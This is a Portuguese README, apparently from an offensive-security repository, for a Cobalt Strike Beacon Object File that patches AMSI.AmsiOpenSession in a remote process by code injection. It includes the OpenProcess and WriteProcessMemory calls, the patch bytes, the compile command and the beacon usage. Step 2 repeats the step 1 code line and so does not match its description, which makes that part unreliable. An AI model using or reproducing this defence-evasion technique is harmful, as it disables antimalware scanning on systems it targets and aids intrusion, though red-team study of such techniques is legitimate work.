Cobalt Strike BOF - Injeção de Bypass AMSI
Arquivo de Objeto Beacon (BOF) do Cobalt Strike que contorna o AMSI em um processo remoto com injeção de código.
Executando BOF inject-amsiBypass a partir do CobaltStrike

O que isso faz?
1. Usa o argumento PID fornecido para obter um handle no processo remoto
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. Carrega AMSI.DLL na memória do beacon e obtém o endereço de AMSI.AmsiOpenSession
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- Tanto o beacon quanto o processo alvo terão o mesmo endereço para o símbolo.
- Se AMSI.DLL não existir no processo remoto, executar isso pode travar o processo alvo.
3. Escreve o bypass do AMSI na memória do processo remoto
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
Método = AMSI.AmsiOpenSession
- Usa a técnica de bypass do AMSI ensinada no curso PEN‑300/OSEP da Offensive Security (Técnicas de Evasão e Defesas de Brecha).
Capturas de Tela da Prova de Conceito
Antes - Powershell.exe AMSI.AmsiOpenSession

Depois - Powershell.exe AMSI.AmsiOpenSession

x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
Executar a partir do Console do Beacon do Cobalt Strike
beacon> inject-amsiBypass <PID>
- Certifique-se de carregar o script inject-amsiBypass.cna no Gerenciador de Scripts do Cobalt Strike.
Lista de Tarefas
- Verificar se AMSI.DLL existe no processo remoto antes da injeção
- Adicionar outros bypasses do AMSI para injetar
- Suporte a x86
Créditos / Referências
Raphael Mudge - Arquivos de Objeto Beacon - Demonstração Luser
Cobalt Strike - Arquivos de Objeto Beacon
Referências de Código BOF
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Curso Sektor7 Malware Dev Essentials
Offensive Security OSEP